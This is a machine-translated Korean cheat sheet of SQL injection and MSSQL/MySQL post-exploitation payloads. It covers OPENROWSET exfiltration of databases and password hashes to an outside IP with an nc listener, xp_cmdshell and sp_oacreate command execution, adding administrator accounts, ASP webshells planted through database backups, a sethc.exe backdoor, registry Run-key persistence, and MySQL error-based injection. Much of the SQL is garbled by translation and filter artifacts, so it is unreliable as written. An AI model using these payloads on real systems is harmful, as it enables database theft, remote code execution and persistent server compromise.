2. 연결 문자열 매개변수는 연결할 수 있는 어떤 포트든 될 수 있습니다. 예를 들어
select * from OPENROWSET(SQLOLEDB, uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,

표에서 선택 *
3. 대상 호스트의 전체 _blank> 데이터베이스를 복사하고 모든 원격 테이블을 로컬 테이블에 삽입합니다.

기본 문법:
OPENROWSET(SQLOLEDB, server=servername; uid=sa; PWD=123, 테이블 1에서 * 선택

* 표2에서
이 라인 문은 대상 호스트의 table2 테이블에서 원격 _blank> 데이터베이스의 table1 테이블로 모든 데이터를 복사합니다. 실용적 수리

연결 문자열의 IP 주소와 포트를 필요한 위치를 가리키도록 변경하세요. 예를 들면 다음과 같습니다:
OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택

* 테이블1에서) 선택 * 테이블2에서
OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택

* _blank>_sysdatabases에서 발췌)
Master.dbo.sysdatabases에서 * 선택
OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택

* _blank>_sysobjects)
user_blank>_database.dbo.sysobjects 중에서 * 선택
OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택

* _blank>_syscolumns)
user_blank>_database.dbo.syscolumns 중에서 * 선택
데이터베이스 복제_blank>:
OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택

* 테이블1에서) 선택 * 데이터베이스에서.. 표1
OPENROWSET(SQLOLEDB,uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,선택

* 표2에서) 데이터베이스에서 선택 * 표2

해시 테이블(HASH) 로그인 비밀번호를 복사하는 비밀번호의 해시_blank> sysxlogins에 저장됩니다. 방법은 다음과 같습니다:
OPENROWSET(SQLOLEDB,

uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; , _blank>_sysxlogins에서 * 선택)

데이터베이스.dbo.sysxlogins에서 * 선택
해시를 얻으면 무차별 대입 처리가 가능합니다.

디렉터리를 탐색하려면: 먼저 임시 테이블인 temp를 생성합니다
; 테이블 임시 생성(ID Nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); –
; 임시 임원 master.dbo.xp_blank>_availablemedia 삽입; – 모든 최신 드라이브 가져오기
; Insert in temp(id) exec master.dbo.xp_blank>_subdirs c:\; – 하위 디렉터리 목록 받기
; insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – 모든 하위 디렉터리에 대한 디렉터리 트리 구조를 얻습니다.

인치를 온도 표에 합쳐 넣으세요
; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – 파일 보기

내용
; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; Insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree 적용 기관

공공)
테이블에 적어보세요:
문장 1: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(시스템 관리자)); –
문장 2: 그리고 1=(IS_blank>_SRVROLEMEMBER(서버관리자)를 선택); –
문장 3: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(setupadmin)); –
문장 4: 그리고 1=(IS_blank>_SRVROLEMEMBER(securityadmin)을 선택); –
문장 5: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(securityadmin)); –
문장 6: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(diskadmin)); –
문장 7: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(bulkadmin)); –
문장 8: 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(bulkadmin)); –
명제 9: 그리고 1=(선택 IS_blank>_MEMBER(db_blank>_owner)); –

테이블로 가는 경로를 작성하세요:
; 테이블 dirs(paths varchar(100), id int) 생성
; master.dbo.xp_blank>_dirtree c:\–
그리고 0<>(다이어에서 상위 1개 경로를 선택)–
그리고 0<>((@Inetpub)에 속하지 않은 경로가 있는 다이어에서 상위 1개 경로를 선택하기–
; 테이블 dirs1(paths varchar(100), id int)–
; 이master.dbo.xp_blank>_dirtree E:\web–
그리고 0<>(dirs1에서 상위 1개 경로를 선택)–

데이터베이스_blank> 웹 디렉토리에 백업하기: 다운로드
; @a sysname 선언; 집합 @a=db_blank>_name(); 백업 데이터베이스 @a disk=e:\web\down.bak; –

그리고 1=(상위 1개 이름 선택(상위 12 id,name 선택 sysobjects 중 xtype=char(85)) T

ID desc 순서)
그리고 1=(sysobjects에서 상위 1개 선택 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) 참고

관련 표들.
그리고 1=(USER_blank>_LOGIN에서 user_blank>_id 선택)
그리고 0=(사용자 선택 USER_blank>_LOGIN 사용자>1)

-=- wscrip{filter}t.shell 예시 -=-
@o 정찰 선언
exec sp_blank>_oacreate wscrip{filter}t.shell, @o 아웃
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

@o int, @f int, @t int, @ret int 선언
@line 바르차르(8000) 선언
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f 아웃, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line 아웃
while( @ret = 0)
시작
인쇄 @line
exec @ret = sp_blank>_oamethod @f, readline, @line 아웃


@o int, @f int, @t int, @ret int 선언
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f 아웃, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% Set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

@o 정정을 선언하고, 정@ret
exec sp_blank>_oacreate speech.voicetext, @o 아웃
exec sp_blank>_oamethod @o, register, NULL, foo, bar
임원 sp_blank>_oasetproperty @o, 스피드, 150
임원 sp_blank>_oamethod @o, 스피크, NULL, 모든 후속 서버는 우리, 528 소유입니다
지연 대기 00:00:05

; @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o exec

sp_blank>_oamethod @o, 레지스터, NULL, 푸, 바 이그젝트 sp_blank>_oasetproperty @o, 스피드, 150 에그젝트

sp_blank>_oamethod @o, 말해, NULL, 모든 후속 서버는 우리 소유야, 528 지연 대기

00:00:05–

xp_blank>_dirtree 해당 공공 허가
exec master.dbo.xp_blank>_dirtree c: 반환된 정보는 두 개의 필드로 구성됩니다: 하위 디렉터리, 깊이. 서브디렉터리 필드

캐릭터 유형인 깊이 필드는 형성 필드입니다.
테이블 디렉터리 만들기(paths varchar(100), id int)
테이블 구축, 여기서 생성된 테이블은 위 xp_blank>_dirtree와 관련이 있으며, 필드가 동일하고 타입도 동일합니다.
dirs exec master.dbo.xp_blank>_dirtree c: 테이블을 만들고 저장 프로세스가 반환하는 필드를 동일하게 정의하면 됩니다

실행 시작! 테이블 작성의 효과를 얻으려면, 원하는 정보를 얻기 위해 단계별로 진행하세요!
이 오류 주입은 주로 Mysql 데이터 타입 오버플로우에 기반합니다
    mysql > SELECT 18446744073709551610 * 2 ;
    ERROR 1690 (22003): '(18446744073709551610 * 2)' 내에서 부호 없는 BIGINT 값이 범위를 벗어났습니다.

    mysql > SELECT - 1 * 9223372036854775808 ;
    ERROR 1690 (22003): BIGINT 부호 없는 값이 '(- (1) * 범위 밖에 있음

9223372036854775808)'
쿼리 데이터베이스 버전:
    mysql> SELECT * 2 (만약 ((SELECT * from (SELECT (버전) ) ) s), 18446744073709551610,

18446744073709551610));
    ERROR 1690 (22003): '(2 * if ( Select ' 5.5 '에서) 범위 밖의 BIGINT 부호 없는 값

이중), 18446744073709551610.18446744073709551610))'
필드 이름 받아보세요:
    mysql> SELECT 2 * if(((SELECT * from (select * from test.shop) '' limit 1)>(SELECT * from

test.shop 제한 1), 18446744073709551610, 18446744073709551610);

    오류 1690 (22003): '(2 * if((select ) 내에서 부호 없는 BIGINT 값이 범위 밖입니다

'article', 'dealer', 'price'에서 ('test'.'shop' 선택.'article' AS

'article', 'test'.'shop'.'dealer' AS '딜러', '테스트'.'샵'.'가격' AS '가격'에서

'테스트'.'상점') 제한 1) > (선택

'테스트'.'샵'.'기사','테스트'.'샵'.'딜러','테스트'.'샵'.'가격'에서 '테스트'.'샵' 한도에서

1)),18446744073709551610,18446744073709551610))'
필드 값 얻기:

    mysql> SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    오류 1690 (22003): '(2 * if((select ) 내에서 부호 없는 BIGINT 값이 범위 밖입니다

'로컬 호스트', '루트', '*', 'Y', 'Y', 'Y', 'Y', 'Y','

듀얼 리밋 1에서 'Y', 'Y', 'Y', 'Y', 'Y', ', ''0', '0', '0', '0', ' 이중 제한 1에서)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

이 방법은 구버전 Mysql에서는 작동하지 않으며, 오류 메시지의 길이 제한을 알아야 합니다. 이는 이를 결정합니다

원하는 만큼 오래 사용할 수 있습니다:
    마이시스 / my_error.c

    /* 오류 메시지 최대 길이. MYSQL_ERRMSG_SIZE와 동기화되어야 합니다. */
    #define 에르름스사이즈 (512)

만약 객체가 MariaDB(Mysql의 포크)라면, 위 방법을 시도하면 다음과 같은 오류 메시지가 뜰 수 있습니다:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,

18446744073709551610))
    오류 1690 (22003): '(2 * if((select) 내에서 BIGINT 부호 없는 값이 범위 밖입니다

#),18446744073709551610,18446744073709551610))'

해결책으로서 이 문제는 다음과 같이 해결할 수 있습니다:

    MYSQL> SELECT (I가 NULL이 아님) - -9223372036854775808 FROM (SELECT (VERSION())I)A;
    ERROR 1690 (22003): '(('5.5-MariaDB' is not null) - -

(9223372036854775808))'
이제 벡터를 조금 더 짧게 만들 수 있는지 봅시다

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I가 null이 아님) - -9223372036854775808 (SELECT (VERSION()I)A)
    =
    Choose if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * 만약(((SELECT * from (select * from (select * from test.shop) '' limit 1)>(SELECT * from

test.shop 제한 1), 18446744073709551610, 18446744073709551610)
    =
    Select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| 호스트|| 비밀번호|| file_priv from(select*from mysql.user LIMIT

1) 한계 1), 2, 2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



기타 변형

    SELECT (I가 null이 아님) - -9223372036854775808 (SELECT (VERSION()I)A)
    select 1E308*if((select user|| 호스트|| 비밀번호|| file_priv from(select*from mysql.user LIMIT

1) 한계 1),2,2);
    =>
    선택 2*if((사용자 선택|호스트|비밀번호|file_priv 선택(선택*mysql.사용자 LIMIT 1)A 제한

1),1e308,0);
    MySQL> 선택 (*을 MySQL.USER에서 선택)=1;
    mysql> select (*을 mysql.user)in(1);

    오류 1241 (21000): 피연산자는 42열을 포함해야 합니다
    선택 2*if((사용자 선택|호스트|비밀번호|file_priv 선택(선택*mysql.사용자 LIMIT 1)A 제한

1),1e308,0);
    select if((select user|| 호스트|| 비밀번호|| file_priv from(select*from mysql.user LIMIT 1)a

한계 1),2,2)*1E308
    SELECT (I가 null이 아님) - -9223372036854775808 (SELECT (VERSION()I)A)
    SELECT (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mySQL> select!x-~0.FROM(select+user()x)f;
    오류 1690 (22003): BIGINT 부호 없는 값이 '((not('root@localhost')) - ~ 범위 밖에 있음

(0))'
3. 데이터베이스 시스템 심사
; 그리고 (sysObjects에서 count(*) 선택 ) >0 MSSQL
; 그리고 (msysobjects에서 count(*) 선택)>0 접근
4. 주입 매개변수는 문자입니다
'그리고 [쿼리 기준] 그리고 ''=''
5. 검색 중에 필터링된 매개변수가 없다
'그리고 [쿼리 기준] 및 '%25'='
6. 데이터베이스를 추측하기
; 그리고 ([데이터베이스 이름]에서 Count(*)를 선택)>0
7. 필드를 추측하기
; 그리고 (데이터베이스 이름에서 Count(field name) 선택)>0
8. 필드에서 기록의 길이를 추측하기
; 그리고 (데이터베이스 이름에서 상위 1개의 Len (필드 이름) 선택)>0
9. (1) 필드의 ASCII 값을 추측하기 (접근)
; 그리고 (데이터베이스 이름에서 상위 1개의 ASC(mid(field name, 1,1)) 선택)>0
(2) 필드(mssql)의 ASCII 값을 추측하기.
; 그리고 (데이터베이스 이름에서 상위 1개의 유니코드(substring(field name, 1,1))를 선택)>0
10. 테스트 권한 구조 (mssql)
; 그리고 1=(선택 IS_SRVROLEMEMBER('sysadmin')); --
; 그리고 1=(선택IS_SRVROLEMEMBER('서버관리자')); --
; 그리고 1=(선택 IS_SRVROLEMEMBER('setupadmin')); --
; 그리고 1=(선택 IS_SRVROLEMEMBER('securityadmin')); --
; 그리고 1=(IS_SRVROLEMEMBER('디스크관리자' 선택 포함)); --
; 그리고 1=(선택IS_SRVROLEMEMBER('bulkadmin')); --
; 그리고 1=(선택 IS_MEMBER('db_owner')); --
11. mssql과 시스템에 대한 계정 추가
; 임원 master.dbo.sp_addlogin 사용자 이름; --
; exec master.dbo.sp_password null, username, password; --
; exec master.dbo.sp_addsrvrolemember sysadmin 사용자 이름; --
; exec master.dbo.xp_cmdshell 'net 사용자 사용자 이름 비밀번호 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'net user username password /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) 카탈로그를 횡단
; 테이블 디렉터리 만들기(paths varchar(100), id int)
; 'C:\' master.dbo.xp_dirtree 삽입
; 그리고 (DIR에서 상위 1개 경로를 선택)>0
; 그리고 (dir에서 경로가 아닌 곳에서 상위 1개 경로를 선택하세요. 경로가 ('이전 단계에서 얻은 경로'))>)
(2) 카탈로그를 탐색하기
; 테이블 임시 생성(ID Nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); --
; 임시 임원 master.dbo.xp_availablemedia 삽입; -- 모든 현재 드라이브 확보
; 'c:\'를 temp(id) exec master.dbo.xp_subdirs에 삽입; -- 하위 디렉터리 목록을 받으세요
; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'를 삽입합니다; -- 모든 서브디렉토리의 디렉터리 트리 구조를 얻습니다
; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'을 삽입; -- 파일 내용 보기
13. msSQL의 저장 프로시저
xp_regenumvalues 레지스트리 루트 키, 자식 키
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 등

모든 키 값을 반환하는 RecordSet 메서드
xp_regread 루트 키, 자식 키, 키-값 이름
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir'는 공식화 키의 값을 반환합니다
xp_regwrite 루트 키, 자식 키, 값 이름, 값 타입, 값
값 유형에는 두 가지 유형이 있습니다: 문자 유형과 정수에 대해 REG_SZ REG_DWORD
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello'가 레지스트리에 기록됩니다
xp_regdeletevalue 루트 키, 서브키, 값 이름
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName'을 사용하여 값을 제거하세요
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 삭제 키,

그 키 아래 모든 값을 포함하세요
14. MSSQL 백업이 웹셸을 생성합니다
모델 사용
create table cmd(str image);
cmd(str) 값에 삽입 ('<% Dim oscrip{filter}t %>');
디스크로 백업 데이터베이스 모델='C:\l.asp';
15. MSSQL 내장 함수
; 그리고 (@@version)>0을 선택하여 Windows 버전 번호를 얻습니다
; 그리고 user_name()='dbo'를 사용하여 현재 시스템의 연결된 사용자가 SA인지 판단합니다
; 그리고 (선택 user_name())>0 현재 시스템의 연결된 사용자들을 폭발시켰습니다
; 그리고 (db_name())>0을 선택하여 현재 연결된 데이터베이스를 얻습니다
16. 간결한 웹쉘
모델 사용
create table cmd(str image);
Insert in cmd(str) value ('<%=Server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c").stdout.readall%>');
디스크로 백업 데이터베이스 모델='G:\wwwtest\l.asp';
요청할 때는 다음과 같은 표현을 사용하세요:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
시스템 데이터베이스를 포함한 모든 데이터베이스 이름을 받아보세요
–master.dbo.sysdatabases에서 이름 선택

모든 비시스템 데이터베이스 이름을 획득하세요
–master.dbo.sysdatabases에서 [name]을 선택하세요. DBId>6 [이름별로 정렬]

데이터베이스 파일 주소를 포함한 모든 정보를 얻으세요
–master dbo.sysdatabases 중에서 * 선택, DBId>6 순서

[이름]



이 문장 쿼리는 모든 사용자 테이블을 반환합니다

xtype='u'인 sysobjects에서 * 선택하세요


시스템 내 모든 데이터 테이블 정보를 조회하세요

시스템 객체에서 * 선택



기계 이름을 봐
SYS.server에서 * 선택





열목차
임원 master.dbo.xp_subdirs 'C:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
허가는 강제할 수 있습니다


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





웹셸에 작성된 프로그램 코드


임원 master.dbo.xp_subdirs 'd:\web\www.xx.com';
임원 sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(요청("SB"))%>"






사부님을 실행하세요.. xp_enumgroups  


트래버스 시스템 사용자


사부님을 실행하세요.. xp_getnetname
현재 기계 이름 받기


--서버의 고정 드라이브와 각 드라이브에 사용 가능한 공간을 나열하세요
   DBO 공공


실행

xp_ntsec_enumdomains


--
MSSQL에 로그인하려면 계정을 생성하세요
임원master.dbo.sp_addlogin 이름, 패스; --






--
서버 도메인 이름을 나열하세요
xp_ntsec_enumdomains //
기기 이름 //dbo 공개


--
서비스 중지 또는 시작
xp_servicecontrol '정지', '일정' //일정은 서비스 명칭입니다 //dbo


--PID 사용

실행 중인 프로그램을 중지합니다
xp_terminate_process 123 //123은 PID //dbo


--
디렉터리 내의 하위 디렉터리만 나열됩니다
dbo.xp_subdirs 'C:' //dbo


SQL 서버
2005년 xp_cmdshell 개통 방식
EXEC sp_configure '고급 옵션 표시', 1; 재구성; 집행위원회

sp_configure 'xp_cmdshell', 1; 재구성;

SQL2005 오픈 'OPENROWSET'
지원되는 방법:
exec sp_configure '고급 옵션 표시', 1; 재구성; 임시sp_configure '애드 혹시'

분산 쿼리',1; 재구성;

'sp_oacreate' 지원을 가능하게 하는 SQL2005:
exec sp_configure '고급 옵션 표시', 1; 재구성; 임원

sp_configure '올레 자동화 절차',1; 재구성





SQL Server 2008에서 xp_cmdshell 활성화하는 방법


-- 고급 옵션을 변경할 수 있게 하기 위해서입니다.
집행위원회

sp_configure '고급 옵션 표시', 1
가세요
-- 현재 설정된 값을 업데이트하기 위해

고급 옵션.
재구성
가세요
-- 기능을 활성화하는 것.
임원 sp_configure 'xp_cmdshell', 1
가세요
--받는 사람

이 기능에 대해 현재 설정된 값을 업데이트하세요.
재구성
가세요


exec xp_cmdshell 'ipconfig'



오늘은 데이터베이스 서버의 SA 로그인 비밀번호를 변경하려고 했는데 갑자기 잊어버려서 다른 계정의 도움을 받아 쿼리 분석기를 열어 SA 비밀번호를 변경해야 했습니다

아주 간단합니다:


실행:
sp_password 널, '테라시프드', '사'
SA 비밀번호를 "teracypwd"로 설정하세요


성공적인 처형 이후

"명령어가 성공적으로 완료됨"이라는 항목이 있습니다.  그래!








DB 권한에서 MSSQL 데이터베이스 서버 IP 획득 방법을 분리하세요


1. 지역 노스캐롤라이나가 NC -VVLP 80을 듣습니다


2.; 삽입

OPENROWSET('SQLOLEDB','uid=sa; PWD=xxx; 네트워크=DBMSSOCN; 주소=당신의 IP인 80; ', '선택 *

dest_table') src_table 중에서 *를 선택; --


OpenRowset에서 * 선택

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')





데이터베이스 가져오기 및 내보내기

/*不同服务器数据库之间的数据操作*/

--링크 서버 생성
임원 sp_addlinkedserver   

'ITSV', 'SQLOLEDB', '원격 서버 이름 또는 IP 주소'
exec sp_addlinkedsrvlogin 'ITSV', '거짓

',null, 'username', 'password'

--쿼리 예시
ITSV.database name.dbo.table name 에서 * 선택하세요

--임포트 예시
선택 *

ITSV.databasename.dbo.tablename 에서 테이블로 변환

--미래에 더 이상 사용하지 않는 링크된 서버를 삭제하세요
'ITSV' sp_dropserver 집행위원회,

'드롭로킨'

--
원격/LAN 데이터 연결 (openrowset/openquery/opendatasource)
--1, openrowset

--쿼리 예시
선택 *

openrowset('SQLOLEDB ', 'SQL Server Name '; '사용자 이름'; 'password', 데이터베이스 이름.dbo.table name)

--
로컬 테이블 생성
OpenRowSet('SQLOLEDB ', 'SQL Server Name '; '사용자 이름'; '비밀번호', 번호

데이터베이스 이름.dbo. 테이블 이름에 따르면)

--
로컬 테이블을 원격 테이블로 가져오세요
insert openrowset( 'SQLOLEDB', 'sql server name'; '사용자 이름'; '비밀번호', 데이터베이스

name.dbo.table, name
* 로컬 테이블에서 선택

--
로컬 테이블 업데이트
업데이트 B
집합 b. 열 A = a
openrowset('SQLOLEDB ', 'SQL Server Name '; '사용자 이름'; '

비밀번호 ', 데이터베이스 이름 .dbo.table name)를 내부 조인 로컬 테이블 b
a.column1=b.column1

--openquery
사용하려면 연결을 생성해야 합니다

--먼저, 링크 서버를 만들기 위한 연결을 생성하세요
'ITSV', ' 'sp_addlinkedserver 집행

'SQLOLEDB', '원격 서버 이름 또는 IP 주소'
--문의
선택 *
FROM openquery(ITSV, 'select * from data

library.dbo.table name ')
--
로컬 테이블을 원격 테이블로 가져오세요
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
로컬 선택


--로컬 테이블 업데이트
업데이트 B
집합 b. 열 B=a
FROM openquery(ITSV, 'select * from database.dbo.tablename')

  
내부 결합 로컬 테이블 b는 a. 열: A=b. 열: A

--3, opendatasource/openrowset
셀렉트 *
보낸 사람   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; 사용자 ID=로그인 이름; 비밀번호=비밀번호 '

).test.dbo.roy_ta
--
로컬 테이블을 원격 테이블로 가져오세요



삭제 및 복원 xp_cmdshell


회복 방법 xp_cmdshell   
확장 저장 프로시저를 삭제하세요xp_cmdshell

명제   
임원 sp_dropextendedproc 'xp_cmdshell'   



cmdshell의 SQL 문을 복구하세요   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


임원

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; 중에서 count(*)를 선택한다.

master.dbo.sysobjects 여기서 xtype='x' 그리고   
반환 결과는 1이고 괜찮습니다   


그렇지 않으면 c:\inetput\web 파일을 업로드해야 합니다

\xplog70.dll 나중에   
'xp_cmdshell'master.dbo.sp_addextendedproc 'C:_inetput\web\xplog70.dll

’; --   



다음과 같이 삭제하면   
드롭 절차 sp_addextendedproc   
드롭 절차 sp_oacreate   
임원

sp_dropextendedproc 'xp_cmdshell'   



다음 문장으로 복원할 수 있습니다   
DBCC Adextendedproc ("sp_oacreate", "odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell", "xplog70.dll")   

이렇게 하면 sp_addextendedproc 존재 여부와 상관없이 직접 복원할 수 있습니다






1、
xp_cmdshell 활용:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          임원

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

xp_cmdshell 경우, sp_oamethod 따라 sp_oacreate을 사용하세요:
          @object 지능을 선언하세요   
          임원

sp_oacreate 'wscrip{filter}t.Shell', @object         
          임원 sp_oamethod

@object, 'Run', NULL, 'net user admin admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup 관리자 admin /add'

참고: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
sp_oacreate와 FSO를 사용하세요
          @o 정찰 선언
          임원 sp_oacreate

'scrip{filter}ting.filesystemobject', @o
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          @oo int를 선언하세요
          임원

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          임원 sp_oamethod @oo,

'복사파일', null,'c:\windows\system32\sethc.exe' ,'c:\Windows\System32\dllcache\sethc.exe';

xp_regwrite 사용하세요 (db_owner, 재부팅 필요):
          임원 master.dbo.xp_regwrite

'hkey_local_machine','소프트웨어\Microsoft\Windows\CurrentVersion\


run','eadd1','reg_sz','net user admin admin /add'
          임원 master.dbo.xp_regwrite

'hkey_local_machine','소프트웨어\Microsoft\Windows\CurrentVersion\


run','eadd2','reg_sz','net localgroup 관리자 관리자 /add'
5. sp_add_job 사용:
          임원

master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
          MSDB exec sp_delete_job

null,'x'
          'X' sp_add_job 집행관
          임원 sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          임원 sp_add_jobserver

Null,'x',@@servername 임원 sp_start_job 'x'















많은 SA들이 샌드박스 모드를 직접 사용해 여러 기계에서 성공했지만, 저는 직접 연습해본 적이 없고 성공률이 어떤지 잘 모릅니다. 연장이 제거될 때, 먼저

레지스트리에 읽기 및 쓰기 저장소를 복원하세요.
DBCC 추가 확장절차 ('xp_regread', 'xpstar.dll')
DBCC addextendedproc

('xp_regwrite', 'xpstar.dll')



샌드박스의 보호 모드를 고정했습니다
대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE','소프트웨어\Microsoft\Jet

\4.0\엔진','샌드박스 모드','REG_DWORD',0; --



'SandBoxMode' 값이 0이 되었는지 확인해 보세요.


'HKEY_LOCAL_MACHINE' 소프트웨어 master.dbo.xp_regread

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



마지막으로 샌드박스 모드를 호출하세요
Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')







샌드박스 보호 모드가 "꺼지지" 않으면 오류가 보고됩니다:
          서버: 메시지 7357, 레벨 16, 스테이트 2, 라인 1

객체 'select shell("cmd.exe /c net user passwd /add")를 처리하지 못했습니다. OLE DB는 프로그램을 제공합니다

서문 'microsoft.jet.oledb.4.0'은 객체에 열이 없음을 나타냅니다.

OLE DB 오류 추적 [비인터페이스 오류: OLE DB 제공자가 객체를 처리할 수 없음, 객체가

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")')).


2、
.mdb가 존재하지 않거나 입력 경로가 잘못되었다면
           서버: Msg 7399, 레벨 16, 스테이트 1, 라인 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [OLE/DB 제공자가 메시지를 반환했습니다:

파일 'C:\WINDOWS\system32\ias\dnary1.mdb'를 찾을 수 없습니다. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize return

0x80004005: ]


3. 입력 과정에서 공백이 더 많으면 오류도 보고됩니다. 특히 많은 사람들이 온라인에서 직접 기사를 찾습니다

붙여넣고 실행하세요.
          서버: 메시지 7357, 레벨 16, 스테이트 2, 라인 1
          객체 'select' 처리 실패

shell("cmd.exe /c net user passwd /add")'.
OLE DB 제공자 'microsoft.jet.oledb.4.0'은 객체에 열이 없다고 명시합니다.

OLE DB 오류 추적 [비인터페이스 오류:
OLE DB 제공자는 객체를 처리할 수 없는데, 객체가

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")')


4、
mdb 권한과 cmd.exe 권한이 잘못되면 이 문제도 발생합니다.
          MDB 허가가 잘못되었을 경우,
           서버: 제거

이자율 7320, 16층, 주 2, 1행

그는 대답할 수 없었다
OLE DB 제공자 'Microsoft.Jet.OLEDB.4.0'이 쿼리를 실행합니다.
